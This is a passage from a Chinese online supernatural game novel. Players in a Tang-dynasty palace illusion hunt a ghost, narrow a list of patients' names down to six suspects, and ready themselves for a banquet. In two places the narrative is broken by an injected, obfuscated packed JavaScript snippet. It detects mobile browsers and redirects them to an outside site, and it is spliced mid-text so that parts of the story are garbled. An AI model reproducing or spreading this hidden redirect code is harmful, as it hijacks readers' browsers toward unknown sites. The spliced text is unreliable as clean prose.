“万一查到了也是之前那种模糊的名字怎么办?”叶九溪从他手里分走一半簿子。 “之前药堂的记录随便就可以查,这个可是只有太医署的人才有权限拿到的。”祁云纵拍了拍他的肩膀,“这浪客行总不能一点线索都不给我们留吧。” 两个人又把其他书柜里的簿子抱过来,匀了一些放回书架上的缺口处,整理了一下,让几个架子的外表看上去没什么不同,随后飞快地溜出太医署。 他们没法离开各自的岗位太长时间,匆匆告别之后,就揣着簿子分头回去了。药堂离太医署不远,叶九溪回到自己的位置后,便立刻掏出簿子,藏在桌下,迫不及待地翻开。 “……” 翻了一会儿,他沉默了。 祁云纵说自己是专业的,果然只是随口一说而已,一串长长的记录看到最后赫然出现“开元”两个字,要知道现在可是天宝十三年左右,这要从哪里开始翻啊,他根本就是胡乱拿的吧! 但是乱归乱,叶九溪也没办法,只得认命地一条条翻找——万一他手上这些簿子里真的藏有鬼的姓名呢? 这些记载全是繁体字,十分稠密,他看得眼睛都快瞎了,看了半天才弄明白,原来这里的不单单是华清宫中的诊治记录,还有一些出诊、问诊和长安宫城中的记载,这才混在了一起。 “天宝十二年……快了。” 他的运气似乎特别好,才看到第三本,就找到了接近的记载。叶九溪赶紧粗略地翻了一下后面的页数,虽然字体又挤又小,但都还算清晰,没有之前那种怪异模糊的现象。 他的心脏顿时狂跳起来,忍不住狠狠地攥了一下拳。 果然有门! 之前药堂那条记录的时间是哪天来着?只要对照一下,应该就有了! 因为怕NPC发现,他都是将簿子藏在桌下埋头翻阅的,有些像上课时偷看小说漫画的动作,此时伸出一只手去摸一旁那本有用药记录的册子,准备对比,没想到这一摸,却摸了个空。 紧接着,他的手忽然僵住了,手腕处有一种冰冷刺骨的感觉瞬间攀爬而上,叶九溪愕然抬头,却发现自己面前站着的人,竟然是付井仪。 然而,面前这个付井仪双眼黑沉,面上了然、憎恶与轻蔑交织在一起,表情说不出的怪异,紧紧钳住他手腕的力气更是大到几乎要捏碎他的骨头,几乎是一眨眼的工夫,他的右手便已经失去了知觉。 这个人不可能是付井仪! “原来你们打的是这个主意,的确聪明。”那个“付井仪”说,听在叶九溪耳朵里,却更是毛骨悚然,因为那分明就是一个陌生的女声,听起来声音柔美清亮,但语气却十分狠厉,更是诡异,“今天是我的好日子,休要打搅!” 那种冰冷的感觉蔓延极快,叶九溪几乎半个身子都僵硬了,但他心中一片清明,知道这恐怕是正面撞上鬼了,刚要用左手抽出重剑,耳中却听到了前来换班的NPC的交谈声。 “付井仪”显然也听到了,但表情丝毫未变,相反,抓住叶九溪的手还更加用力,几乎能听到骨头摩擦的咯吱声,随着“他”的动作,光线也开始扭曲,一片非常眼熟的黑色突兀地在脚下展开,强劲的力量开始将叶九溪向下扯去;同时,那本很可能记载着“鬼”的名字的簿子忽然无风自燃起来,书页飞快地在幽蓝色火舌的舔舐中卷曲。 是能将人吸进去的黑洞……它要毁掉线索! 眼看“付井仪”微微侧过脸,看向NPC走来的方向,叶九溪心念电转,在短短一刹,却是放弃了抽剑反击,不顾火苗灼烧,用力将左手伸向正在燃烧的簿子。 那颜色奇异的火也不知道是什么火,手指还没碰到的一瞬间就能感觉到钻心的疼痛,让人产生了好像皮肤骨肉都在融化一样的错觉,他咬死牙关,愣是一声没哼,一把扯下几张书页死死攥在掌心,以血肉隔绝烈火的焚烧。 下一秒,他就被黑洞卷了进去,消失在桌后,而那些散落在桌下的簿子,也被焚烧殆尽,连灰烬都没有留下。 “你是梨园的乐师?”药堂管事便在此时走了进来,看到“付井仪”站在空荡荡的桌前,不禁发问,“来此何事?” “身体不适,前来取药。” “付井仪”平静地说,从外貌和嗓音上,都与真实的付井仪别无二致:“先前报备过了。” “对,是有这么个事。”管事恍然,很自然地遗忘了叶九溪的存在,“是该多安排几个药童了。” 另一边,真实的华清宫内,叶九溪从半空摔了下来。 那诡异的火竟然没有熄灭,他疼得满脸冷汗,牙关咯咯作响,竟是已经说不出话来,眼前一阵一阵泛黑,只是还记得要握紧掌心。不知道过了多久,嗡鸣的耳畔才渐渐地响起了另一种声音,眼前黑暗褪去,入眼就是一颗锃亮的大光头。 “啊,好了好了。” 行守把他扶起来,欣慰道:“没事了就松松手,三个人愣是没抠开。” 叶九溪顺着他的话迟钝地望向左手,那种钻心的疼痛不知何时已经悄然消失了,他的左手依然紧握着,但看上去完好无损,没有丝毫被灼烧过的痕迹。谢不若、祝灵正和飞琼都在旁边,抬头是枯木梢头弯月高悬,俨然是另一幅景象。 “行守,谢不若,祝灵正,飞琼。”他艰难地说。 “哎,干嘛呢,可汗大点兵?”谢不若应了一声。 “……之前我都忘记了。”叶九溪把话说完,“好奇怪……完全想不起来你们不在。” “没关系,你也会被其他人忘了的。”祝灵正安慰他。 行守咳了一声,示意祝灵正少说两句,转而给叶九溪介绍起真实的华清宫、轮回珠等前因后果来。一切讲完之后,叶九溪感觉力气也恢复了不少,他坐起来,在众人期待的眼神中缓缓摊开左手。 因为先前太用力,他的手指关节都已经完全僵硬,甚至有些变形,费了好半天劲儿才完全伸开,手心里的几张纸已经被揉皱成了一小团,但奇迹般地没有被焚毁,只有边缘微微焦黄。 “这是什么?”飞琼最急,“刚刚我们仨怎么掰你都没松手,是不是什么重要的东西?快看看有没有问题!” “这里面有鬼的名字。”叶九溪刚说完,剩下几个人的眼睛都亮了,他又赶紧补充道,“但有很多人名,不知道哪个才是。” “没关系,至少有个范围了。”行守说,几人把纸小心翼翼地铺平在地上展开,这才发现叶九溪所言非虚。 “一、二、三、四……十八、十九、二十,二十一。”谢不若数完,啧了一声,“看来唐朝人的身体素质不太好啊,这么爱生病。” 飞琼泄了气:“二十一个人里面找到鬼的名字,怎么可能啊。” “还需要找点别的线索才行。”行守道,又看向轮回珠,此刻它光芒暗淡,显然师襄并没有在使用它,他们便也没法化身方士进入里世界,“算了,也急不来这一时,大家稍安勿躁。” “李千驰他们也去太常库找名字了。”谢不若说,“两边名单一对,又是梨园的人,又死了、或者说快要死了,那不就是鬼了么?” “李千驰?那完了。”叶九溪道,“这活儿应该让裴洛川来。对了,你们见到过裴洛川么,他人呢?” “说来你可能不信,他在穿女装。”行守沉痛道,“一时半会儿指望不上了。” 飞琼问:“我们队还有三个,你们在里世界还剩下多少人?” “你别说,这鬼抓人还挺平均的。”谢不若打量了一圈儿,发现了新大陆,“我们一共四个队,现在每个队出来了一个人,都留下四个人在里面,还剩十六个……呃,如果师襄算人的话。” 也就是说,目前在里世界有实体的一共还剩十八个人,这其中,去掉在大战队伍里的仇非、卫山河、龙池乐、商陆,再去掉目前还在宫城之外等待赴宴的裴洛川和曲小蕨,便只有十二个人在“华清宫”中了,加上不能离开梨园的付井仪,其实只有十一个人能够相对自由地进行活动,其中还有殷炽这种随时准备做自己师门“叛徒”的倒霉鬼。 “燃起来了!” 谢不若一拍手,其余众人都投来疑惑的目光。 “什么燃起来了?”行守问他。 “你看,一共五个队,每个队现在都有一个人在外面了,也不知道下一个被扔出来的会是哪个队的人!”谢不若慷慨激昂,“这要是自己队伍里的人出来了,岂不是输——” 他话音还没落,祁云纵便从天而降。 “——岂不是赢了!”谢不若紧急改口,“说明这个队伍给鬼造成了极大的困扰!” “……”几个人无语地看着他。 总之,紧接着叶九溪,祁云纵也被鬼驱逐出了里世界。 他和叶九溪还不太一样,是完好无损出来的,肉眼看上去什么外伤都没有,意识也很清醒,甚至在了解了目前的状况之后,堪称兴高采烈。 他确实是专业的,第一轮剧情里再怎么说也接触过太医署的那些东西,胆子也大,根本就没回工部那边,直接在路上找了个没人的地方就开始翻,很快变一目十行地翻完了,确认了自己手里没有今年的记载。 其实,这个时候,“鬼”已经在去找他的路上了,可惜祁云纵的行为模式半点逻辑也没有,“鬼”在工部扑了个空,还是在掉头回药堂的路上,才堵住了要回去找叶九溪一起看记录的祁云纵。 “很搞笑,它竟然伪装成李千驰。”祁云纵吐槽道,“一点也不像。” “是因为李千驰的身份可以在宫里走来走去吧。”行守说,“既然不像,你是怎么被抓住的?” “我就没跑。”祁云纵理直气壮,“你都不知道那个黑洞出现的速度有多快……怎么说呢,感觉它确实是有点急了。” 他话锋一转,神采飞扬道:“不过这是好事啊!鬼急了,先赶叶九溪走,再赶我走,这就说明我们的思路完全正确!接下来就等其他人的好消息了!” “可是听你们的描述,去找名字的人不太靠谱啊。”飞琼嘟囔道,“真的能在第二轮剧情结束之前找到吗?” “第二轮剧情找不到还有第三轮啊,不着急,大不了和这个鬼慢慢耗。”祁云纵说。 “没有第三轮了。” 一直沉默的祝灵正突然说。 他突然冒出这么一句话,声音很轻,结合语意,在当下的环境里,确实让人有点毛骨悚然。 行守干笑了两声,也附和道:“确实,鬼已经知道了我们在寻找名字,一旦被发现,立刻就会毁掉记录,虽然九溪反应快留住了一些,但它应该会更加谨慎,不会再给其他人这样的机会了。” “我不是这个意思。”祝灵正却说,“没有第三轮了,剧情,要结束了。” “噫……” 飞琼抖了抖肩膀,试图甩掉背后爬上的恶寒感:“别仗着自己是衍天宗就装神弄鬼的,有话赶紧说清楚啊!” “我没有装神弄鬼。”祝灵正认真地说。 “……没让你优先解释这个!” 被一群人目不转睛地盯着,祝灵正的声音越来越小:“我也是刚刚才发现的。” 他拿出玉女守门,仙女御鹿抱光,烛火轻轻摇晃着,无风自动,忽明忽暗,十分微弱。 “刚刚叶九溪看上去好像受伤了,我就想奶他一口。”祝灵正说,“然后,我感觉……” 不用他说完,几个人忽然意识到了什么,心头都是重重一跳! 鬼在里世界,真实的华清宫目前看来是没有任何危险的,自然也没有用到技能的机会,他们之前连斗地主都玩起来了,并没有多么在意这一点。 但现在,经祝灵正这么一说,每个人都感觉到了不对劲,纷纷开始试验自己的门派技能。 “……我很累,读出技能会让我感觉非常疲惫。”祝灵正把话说完了。 谢不若握着他的绝地天通刀,手心里都是冷汗。 他和祝灵正的体验几乎完全相似,即使勉强挥刀,刀气的积攒也是十分缓慢,有一种平时随随便便用出的招式现在却必须竭尽全力的无力感,就像一个健全的成年人忽然垂垂老矣,对岁月的流逝却没有丝毫察觉。 祝灵正有一点说错了,这不是单纯的累,是生命力正在缓慢地枯竭,像汹涌的潮水一朝退去,就会露出其下干裂的滩涂。 “我没有感觉到有多累。”祁云纵却说,“但是有点儿放不出技能了,怎么说呢……像是没蓝了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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恐怕玩家们只要存在于华清宫中,就会在无形中为它提供运转下去的养分,想必这便是鬼没有对玩家们痛下杀手的原因之一。 更恐怖的是,那些还在里世界的玩家,作为这个世界的一部分,连自己的存在都被纳入到了世界规则的运行之中,根本无从发现这一点! 玩家们越是谨小慎微,便越符合鬼的心意,除非是像行守这样身份让鬼感到棘手的,或者是谢不若、飞琼这样闹得华清宫鸡犬不宁的,再或者祝灵正、叶九溪、祁云纵这样接触到了鬼的真实身份的……而他们这些已经被鬼驱逐出里世界的玩家,又会因为机制被其他人遗忘,这样,还留在里面的玩家,即使察觉到似乎有减员的情况,也可能会因为忌惮而变得更加小心,在不知不觉中,透支自己的生命力,最终成为华清宫的养分。 这个机制,有些像会为玩家编织幻境的绥梦山,但华清宫和绥梦山不同,它有着很无解的一点——只有在华清宫内,玩家们才能真实接触到鬼,更加方便找到鬼的身份;但同时,只要身在华清宫,就会被不断地汲取生命力! 第五天的可怕之处,终于出现了。看似没有时间限制的宽松规则,实际上却潜藏着如此恐怖的杀机,如果玩家们一直寄希望于下一轮剧情,只怕会在不知不觉中悄然死亡。 到底什么才是生路? “可、可是我看他们很健康啊?什么事都没有啊?”飞琼急道,“这个影响大概什么时候才能出现,他们自己能察觉到吗?” “不清楚,现在没事,但可能之后er的一下就死了。”祝灵正认真回答。 飞琼就算再着急,这会儿也有点无语了:“你说得好淡定啊,你队友也在里面吧……” 谢不若看了祝灵正一眼,忽然想到了之前隐隐担心的那个问题。就算有玩家为华清宫提供生命力,那也得由鬼牵头动手吧,而鬼又占用了师襄的身体,真师襄还在不停地使用轮回珠……师襄的情况,估计只会比他们更糟糕。 “我也很着急,但是没有什么好办法。”祝灵正说。 他当然没有表面上那么淡定,早就已经开始坐立难安了,只是大家不太熟悉他的脾气,看不出来而已。 “没事,大家先冷静一下。”行守说。 一直以来,他都扮演着相对不怎么引人注目的形象,但是在这种时候,就显得格外稳重,自带一种沉缓的气质,一开口,所有人便望向了他。 “我们也不是什么都做不了的。”行守道,“无论是这里的华清宫,还是里世界,都属于第五天的范畴,也就是说,只要我们在外面成功指认出了鬼,第五天一样可以直接结束。” “可是我们和里面的人不一样,不能去找线索啊。”飞琼道。 谢不若一拍手:“叶九溪不是带出了一份名单吗?” “可是,这名单上有二十一个人。”叶九溪低头看了看手里皱皱巴巴的书页,“这段时间内华清宫中所有去太医署看过病的人,都被记录在上面了。如果只有梨园的人的话,那我们倒是一下子就可以判断出谁是鬼了。” “但是里面的人也会去翻太常库的名录啊。”祁云纵却说,“你们不是说咱们可以出魂进里世界么?就跟在他们身边,一旦看到太常库和这份名单上重复的名字,基本上就可以确定是鬼了吧。” 行守点头道:“不仅如此,我们只是没有实体而已,一些基本的情报搜集,应该还是没问题的,甚至要比其他人来得方便。而且,名字本身就是一种线索。” ——只是名字,就可以透露出很多信息了。 “我们现在所了解的鬼,都有哪些特征?” “是梨园的乐师,生过重病。”叶九溪说,祁云纵补充:“甚至已经死亡。” “是一名女性。”祝灵正说,“我在井水的倒影中看到过她,虽然很模糊,但能看到是一张年轻女性的脸。” 飞琼想了想:“非常在意梨园宴的举办,可能有完美主义强迫症。” 谢不若则说:“手指非常长,指尖有很厚的茧。” 这是他被追杀时发现的细节。 这些特征,都可以用来做第一轮线索的排除。祁云纵精神振奋,拿过名单就开始念: “田三,俊王子,崇马奔,耿飞,云尔朱……” “俊王子?这是人名?”行守听得一头雾水,从他手上要来名单一看,什么俊王子,分明就是田三俊、王子崇。 好不容易把进度条推到这里,最后如果因为名字断错而失败,那也太冤了。几个人头对着头研究了一会儿怎么断句,最后得出结论,二十一个人的名字分别为: 田三俊,王子崇,马奔,耿飞云,尔朱归谊,宋蔚之,罗乔玉,倪莹,高力壮,宁秀,齐轩,阮珏,洪大懿,郭庚瑞,林光煜,武英,公云澈,仆固从华,尤小虎,樊应黎,移力顺。 其中,像尔朱、仆固和移力这样的姓氏一看就是鲜卑或者突厥的外来姓,胡人的长相和汉人差别还是很大的,而根据祝灵正的回忆,虽然它当时在井水中的倒影十分模糊,但仍然可以确定,鬼是一名汉人女性。 而剩下的名字中,有很多名字非常男性化,也可以一并排除掉。 最后,就是比较难分辨性别的名字和女性名字了。 一番排除之后,大家最终圈定了这几个比较有可能属于“鬼”的名字: 耿飞云,宋蔚之,罗乔玉,倪莹,宁秀,阮珏,武英,公云澈。 “我觉得,也不能排除一个女孩子叫做高力壮的可能性吧……”祁云纵沉吟道。 “你说得对。”飞琼赞同道,又把最后那个“樊应黎”添了上去。 “不是,我是说那个高力壮。” “你没说。” 谢不若扶了扶不存在的眼镜,做推理状:“如果再进一步看的话,我觉得‘耿飞云’‘宋蔚之’‘公云澈’这三个名字更可疑一些。” “为什么?”叶九溪好奇道。 “因为这三个名字很高大上,符合古风小说的起名规则。” 众人无视了他,行守对祁云纵和叶九溪说:“你们还记得当时被模糊掉的人名大约是几个字么?” 两个人着实冥思苦想了一会儿,叶九溪才不确定地开口:“墨痕不大也不深,应该是两个字,或者是笔画很少的三个字?” 祁云纵点了点头:“是的,笔画肯定不算多。” “那宋蔚之、公云澈和樊应黎可以先排除了。”飞琼用炭笔划掉三个人的名字,“耿飞云和罗乔玉虽然也是三个字,但笔画也不算很多,暂且先留着,这样一来,就只有六个人了。” 耿飞云,罗乔玉,倪莹,宁秀,阮珏,武英。 鬼,很大概率就在这六个人之中。 55. 第五天·华清宫(五十五) 时间差不多了。 仇非站起来,活动了一下手腕。 她推开门走到屋外,卫山河恰好也从隔壁出来,两个人对视了一眼,仇非轻轻点了点头,算是打过了招呼。 很快,龙池乐和商陆也跟在唐门NPC的身后,从另一边走了过来。 他们俩看起来似乎有哪里不一样了,仇非皱起眉,又仔细地打量了一遍,最后确定,是感觉。 无论是龙池乐还是商陆,外表看上去都非常平静,但他们的双眼格外神采奕奕,和以往的状态不太相似。 是因为紧张,又或者激动?这么说来的话,确实有一种两个人都紧绷着精神,准备去大闹一场的感觉。 她还在思考,小院的门就吱呀一声被推开了。刺虎行动中负责指引和接应他们的那位内城太监站在门口,用尖细的声音道:“各位大侠,王三金已经在开阳门外候着了。” 顿了顿,他又补充了一句话,这却和上一轮剧情里的台词不太一样了:“近日来华清宫中戒备尤为森严,梨园那里怪事频发,王三金或已遭到怀疑,诸位千万要当心,多警醒着些,切莫将身家性命都压在一条道上。” ——这话的意思就是,到时候如果真暴露了,那大家就要各凭本事了。 无论如何,玩家都是要去华清宫的,这一段话说下来,别说感到害怕了,仇非等人根本就没有什么多余的反应。眼看天边渐渐泛起血一般鲜红的暮色,由内城太监带头,四人紧跟在唐门NPC身后,离开了降圣观,踏上了下山的小径。 第二轮剧情以来,在降圣观里待命了这么久,终于等到这个节点了…… 龙池乐走在最后,深呼吸、再深呼吸。 仇非的观察没错,她现在的心情其实并不平静,恨不得立刻就要到梨园宴上大闹一场,揭露这只是一场名为“华清宫回忆录”的假象,让鬼制造出来的旧日泡沫彻底破碎。 这样一来,除了可以终结剧情的轮回、找出鬼之外,他们还能掌握绝对的主动权,把“主角”的身份,握在自己手里! 一想到这里,龙池乐就感觉到心脏砰砰直跳,声音巨大,好像连血液也一并沸腾起来,撞击着胸腔。太压抑了,整个第五天都太压抑了,而她作为这支队伍的决策者,更是承受着比其他人更多的压力,恐怕这支队伍之中,只有失去弟弟的纪空山,和她的感受差不多。 好在这一切,终于要结束了! 只要抓住这最后的机会,他们就能把之前的局面完全扭转,龙池乐最挂念的,就是这件事! 自从了解到“主角论”之后,她就一直在计算着如何让自己的队伍成为主角,但在第五天里,他们浪费了太多时间,也做了太多错误的事情,无论她怎么宽慰自己,那些行动,都不能视作是主角该有的表现。 想到这里,龙池乐甚至开始庆幸,仇非和谢不若等人一看就完全没有听说过关于“主角”的理论,他们可以在一定程度上避免“主角”的竞争…… 但这个念头也只是在她的心中出现了短短一瞬,就被她强行按下去了;成为主角的过程就是把其他人变为配角的过程,她必须保持百分之百的主人公心态,不能因为其他队伍产生任何侥幸心理。 几个人都各怀心思,也没有纪湘君那样话多的玩家活跃气氛,在一路沉默中走得飞快,不消多时,灯火璀璨的华清宫就在眼前了。 在第一轮剧情里,他们都被分配在宫城之内,很少从这个角度观察过这座巍峨壮美的行宫,此刻不由得都放慢了脚步,抬起头,凝望它在夜色中的轮廓。 它明明就在眼前,但却是往日的余晖,是已落幕的时代残留下来的泡影,这种感觉非常古怪,但同时,想到自己此刻也身在其中,这个事实又令人止不住地心潮澎湃。 “慢。” 唐门忽然说,伸手拦了他们一下。 “有车马过来了。” 他们站在高处,看得清楚,此刻开阳门大开,不断有赴宴的车队往来。 能来参加梨园宴的,都是朝中百官的贵胄亲眷,监门卫的警戒确实稍微宽松了一些。 “就到这里吧!” 曲小蕨喊停车夫,刚要往下跳,忽然想起自己的人设,立刻悬崖勒马,矜持地坐在车厢里,等车夫拿出踏脚的小凳子放好,才拎着自己的裙摆小步挪了下去。 她下了车,站在开阳门外,迫不及待地向后望去,不一会儿,就看到裴洛川家的牛车也慢悠悠地过来了。 “姐姐!这里!”曲小蕨赶紧叫道,在周围人投来的视线中,还装模作样地拿出一块小手帕挥舞起来,其实心里已经要笑疯了。 裴洛川从牛车上下来,动作利落、姿态优雅,无论怎么看都是一副仪态端庄的样子,只是黑着一张脸,感觉像要吃小孩。 “别叫了,干正事!”他压低声音,恶狠狠地威胁曲小蕨,同时心虚地环顾四周一圈,确定周围没有队友,这才松了口气。 曲小蕨性子虽然皮一点,但说到正事,也是能立刻进入状态的,她挽住裴洛川的手臂,两个人就真像关系很好的手帕交那样,随着其他赴宴的亲眷走进开阳门内,趁NPC听不到,小声耳语道:“我看到王三金了。” 裴洛川不着痕迹地瞥了一眼:“是右手边三点钟方向那个么?” “对,就是他,已经在等了。”曲小蕨说,借着裴洛川的遮挡,回头看了一眼,“不知道这次被分配成大战玩家的是哪些人,我们要不要也……咦?” “怎么了?”裴洛川问。 “我好像看到纪空山了。”曲小蕨悄声道,“就是恰鸡队里的那个花间。” 她还想看仔细点,但此刻进宫的人实在是太多了,再加上还有负责停靠牛车的车夫、忙着打扫宫门的杂役,热闹而熙攘,那疑似纪空山的宫女身影一晃,便消失在人群中。 曲小蕨遗憾道:“哎呀,没看清楚。” “没关系。”裴洛川却说,“既然已经到了华清宫中,我们就有自己的‘眼睛’了。” 同一时刻,昭阳门外的马场中,方叱羽将最后一桶草填进食槽,顺手在马脖子上轻轻拍了拍。 时间差不多了,感受着有些粗糙的鬃毛划过手心,他看了一眼天色,站起身,向不远处的屋宇走过去。 “换班?” 房中,听到方叱羽来意的马场监事呵呵笑了两声,拍了拍方叱羽的肩膀:“你小子,是不是想偷偷去看梨园宴?告诉你,昭阳门早就关了,咱们是进不去的,就算你站到东边的坡上,天色这么晚了,也是看不清的。” “我知道的,我没有想去梨园宴。”方叱羽很真诚地说。 他这几天做的活计都不错,不是偷奸耍滑的那种人,监事信以为真,又敲打了他两句,便准许了换班的请求。 方叱羽得到了许可,迅速离开马场。 他走得越来越快,直到完全离开NPC的视线之后,干脆跑了起来。 进不去昭阳门?看不到梨园宴?那都是不可能的。有疾夜为伴的方叱羽,从某种意义上来说,是华清宫中最自由的人,和其他玩家不同,他有一双可以在夜色中自由来去的翅膀,和能够俯瞰全场的眼睛。 “师襄姐姐,好好休息,回见!” 师襄微微一笑,对与她道别的小乐师点了点头,转身向自己的居所走去。 留给他们休息的时间并不多,不到半个时辰,乐师们便要再度集结,为梨园宴做最后的准备了。 今天的师襄看起来心情很好的样子,即使转过身,淡淡的笑容也并没有褪去,这样的微笑一直保持到她在桌前坐下,对上铜镜中自己的眼睛。 毫无疑问,这是一张很美丽的面容,即使内里换成了芯子,也依旧能从眼角眉梢之中看出几分沉静的傲气,原主人的性格可想而知。 然而,就在她安静的注视中,镜面忽然渐渐升起了薄薄的一层白雾,一片朦胧中,铜镜竟然在师襄身后映照出了另外一张脸。 那悄无声息出现的东西离师襄极近,灰白的脸上只能隐约看出模糊的五官轮廓,显得诡异而可怖,镜子中,它的嘴唇一张一合,似乎在说着什么,却没有发出任何声音。 猛然间看到这样一张脸就在自己的身后,正常人都该被吓得魂飞魄散了,但师襄的表情却分毫未变——更准确地说,她微微皱起眉头,露出了一丝厌烦,甚至闭上了眼。 “天真。”她冷冷地、无声地说。 下一刻,纪空山曾经撞见的那一幕画面再度重现—— 黑洞悄无声息地从脚底席卷而来,将师襄身后的灰白魂灵吞噬殆尽,不留一丝痕迹。 师襄,或者说“鬼”,慢慢地伸出手,将铜镜向下倒扣在桌面上。笑容从她的脸上消失了,表情微微扭曲起来,竟然显得有几分狰狞。 按理说,在被夺取身体的一瞬间,这个名为“师襄”的灵魂就应该彻底消散,但不知道她用了什么法子,竟然存活了下来,“鬼”甚至连养分也不能从她身上汲取了。不仅如此,她还阴魂不散地一次次出现在自己的身体周围,试图与“鬼”争抢身体的控制权。 这当然是不可能成功的,整个名为华清宫的里世界都在“鬼”的掌握之下,只要师襄靠近,“鬼”就可以将她排斥出里世界,但用不了多久,她就又会回来。 好烦…… “鬼”垂下眼睛,看着自己的手。 这并不是她本来的手,十指同样白皙纤长,却是一副养尊处优的样子,连琴茧都是薄薄的,和她遍布伤口厚茧的双手差别很大。因为这段时间的练习,这双手上也难以避免地起了新茧,有的地方磨出了水泡,客观来说,并不算美观,但“鬼”却用一种满意的眼神打量着它们。 可惜时间还是太短了,而外来者们又不肯安分,不然,这具身体还能更像她一些。 就像玩家们推测的那样,“鬼”的执念确实十分深重,如果可以选择的话,她当然不愿意以他人的身份参加这场梨园宴,可惜整个里世界的华清宫、华清宫中的所有“人”,都只是她构建起来的幻象,这是一个虚幻的世界,只有她是真正的“鬼”,只有借助人的身体,才能切实地感觉到一切。 ——如果玩家们、尤其是龙池乐一队,能够听到“鬼”的想法,一定会惊出一身冷汗。按照他们的推测,“鬼”对自己的死亡还一无所知,指认出“鬼”实际上就是让“鬼”认清世殊事异的事实;但实际上,“鬼”从一开始就是清醒的,她清楚地知道自己早已死去,并且在这个基础上操纵着幻象,无声无息地掠夺着玩家们的生命力。 这里不存在什么影视剧里常见的、一语道破后的皆大欢喜,从一开始,玩家们就和“鬼”站在了完全的对立面,指认“鬼”,就是彻底和“鬼”撕破脸皮,站在完全的对立面,而那个时候,其实才意味着真正的战斗的开始! 但目前,也只有被驱逐出虚假华清宫的玩家们,从自身生命力的流失中隐隐约约意识到了这一点,大多数人仍然不知道指认“鬼”这个通关条件意味着什么。对于指认之后会发生什么事情,大家都一无所知,只有隐约的猜测。 “话说,到时候我们认出了鬼,第五天会以什么样的方式结束呢?” 夜幕下,太液清光大盛,绫罗包裹、花枝点缀的软轿辇,在宫人们的簇拥之下,缓缓地朝着梨园出发。 依然尽职尽责一左一右站在门口的龙葵和亓秀秀,表面上看起来十分安分地遵循着人设、目送贵妃的车驾远去,其实已经悄悄聊了很久了。 “不知道啊。”面对亓秀秀的问题,龙葵也是歪着头想了想,“如果是跟前四天一样,对话传送客栈,那蒋玉凤会忽然刷新在华清宫里吗?” “那到时候我们还得瞒过NPC的眼睛去找她,也挺危险的。”亓秀秀看着那浩荡的车队渐渐变成了远处模糊不清的光点,松了口气,利落地将宽大的袖口挽起来,扎成方便活动的样子,“可算是走了,现在轮到咱们擅离职守了。” “嗨,我都快憋死了。” 龙葵深有同感,两个人互相搀扶着活动了一下站麻的脚,长舒一口气,总算感觉这几天下来积攒着的郁气顺畅了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691203|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她用力握了握亓秀秀的手:“目前人机玩家都还没出现,那就按照咱们之前商量的,你直接去梨园和其他人会合,我在东区外围和殷炽、唐逐星负责警戒,一定不会再让上次梨园宴那种事情发生了。” “嗯,一定要注意安全,梨园宴上的事情就交给我们吧!” 亓秀秀也认真道。凉风瑟瑟,她们交握的双手指尖冰冰凉凉,掌心却十分温热。 “你也是,小心那个‘师襄’!” 简单地道别之后,两个人分别奔赴各自的战场。按照先前短暂与柳七刀、唐逐星、殷炽碰头时商量出来的计划,唐逐星和殷炽此时应该已经抵达了东区,加上龙葵,他们三人负责警惕随时可能会发难的人机玩家,尤其是要戒备上一轮剧情里人机玩家们借道具隐匿自身的情况。 而柳七刀和亓秀秀,则是想办法混进梨园宴,和其他去向不明的玩家们会合,但考虑到上一轮剧情中,在贵妃提出离场后NPC们便立刻切换到了地狱警戒模式,因此,他们要时刻做好在贵妃离场前回到各自岗位的准备,不然很可能会因为触犯规则而被抹杀。 这是他们在目前的条件下能想出来的最踏实可行的方案,但在情报不足、联系困难的情况下,其实一切最终还是要归结到随机应变上去。 “虽然说是随机应变……”亓秀秀一边抄近道往梨园赶,一边看着越发浓重的夜色,皱紧眉头,“但是留给我们发挥的余地好像也太少了吧。” 这会儿,即使是神经再大条的玩家也发现有些不对了。 “难道我们就这么点人吗?”柳七刀混在打扫宴席的杂役之中,一边遮住脸,一边左顾右盼,入目所及,几乎没有看到熟人,心里是直犯嘀咕,“感觉有点不够用的样子?上一轮剧情里明明觉得我们人很多啊……” “就算大战队伍的五个人全是玩家,人数也太少了一些。” 梨园的另一头,迟迟没有见到熟人的曲小蕨和裴洛川也心生疑惑。 这会儿,他们已经落座,正等待着梨园宴的开场。眼看着贵妃和天子已经抵达,一切都即将步入正轨,几乎没有什么人再进来了,两人对视一眼,神色均十分凝重。 “上一轮里,我感觉随便一转悠看到的就是熟人啊。”曲小蕨歪过头,假装欣赏远处盛开的桃花,“我算算,我们现在一共是十六个人。” “五个队只能凑出十六个人,多少有点离谱了吧。”裴洛川拎起袖口,优雅地给自己沏了杯茶,借瓷碗的遮挡悄声道,“剑三里很少有这种数字,你觉得呢?” “确实啊确实,一支队伍就应该是五个人才对。”曲小蕨连连点头,“而且你们队有四个人,我们队只有三个人,怎么也说不过去吧。” “因为某种原因遗忘了队友,这种桥段也是经常出现的。”裴洛川的声音严肃起来,“说不定,我们就在经历这种剧情呢。” “太恐怖了。”曲小蕨光是想象了一下,就觉得不能接受,愤愤地踢了桌下的排牙石栏杆一脚,“我不能接受……一起度过了那么多天的队友被忘掉,我才不能接受!这个‘鬼’真的太可恶了!” “小蕨,你——”裴洛川本想让她不要太过于激动,当心暴露了自己,话音未落,忽然听到远处梆子声敲得震天响,有人高呼:“走水!走水了!” 他差点没控制住脸上的表情,曲小蕨更是瞪大眼睛,唰地一下站了起来。 还好随着那声高呼,本来平静的宴席也喧哗了起来,好奇、疑惑、惊讶者皆有之,曲小蕨的举动,反而是再正常不过的了,但只有玩家知道彼此心中的惊涛骇浪—— 上一轮剧情里,分明没有这一回事的。 